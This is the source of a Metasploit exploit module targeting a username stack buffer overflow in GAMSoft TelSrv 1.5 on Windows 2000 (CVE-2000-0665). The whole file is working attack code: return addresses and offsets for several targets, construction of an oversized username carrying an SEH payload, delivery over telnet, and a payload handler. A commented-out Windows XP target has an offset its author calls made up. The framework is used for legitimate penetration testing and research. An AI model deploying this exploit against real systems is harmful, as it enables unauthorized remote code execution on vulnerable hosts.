metasploit-framework/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
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def initialize(info = {})
super(update_info(info,
'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
'Description' => %q{
This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
Other versions may also be affected. The service terminates after exploitation,
so you only get one chance!
},
'Author' => [ 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2000-0665'],
[ 'OSVDB', '373'],
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[ 'BID', '1478'],
[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
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],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Windows 2000 Pro SP0/4 English REMOTE',
{
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
'Offset' => 1886,
}
],
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[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
{
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
'Offset' => 3318,
}
],
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[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
{
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
'Offset' => 3358,
}
],
=begin
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[ 'Windows XP Pro SP0/1 English',
{
'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL
'Offset' => 2600, # this is made up and absolutely wrong ;-)
}
],
=end
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],
'DisclosureDate' => 'Jul 17 2000',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(23),
], self.class)
end
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def check
connect
print_status("Attempting to determine if target is possibly vulnerable...")
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select(nil,nil,nil,7)
banner = sock.get_once || ''
vprint_status("Banner: #{banner}")
if banner.to_s =~ /TelSrv 1\.5/
return Exploit::CheckCode::Appears
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end
return Exploit::CheckCode::Safe
end
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def exploit
print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
connect
print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
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username = rand_text_english(20000, payload_badchars)
seh = generate_seh_payload(target.ret)
username[target['Offset'], seh.length] = seh
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print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
sock.put(username)
select(nil,nil,nil,0.25)
print_status('Exploit sent...')
handler
disconnect
end
end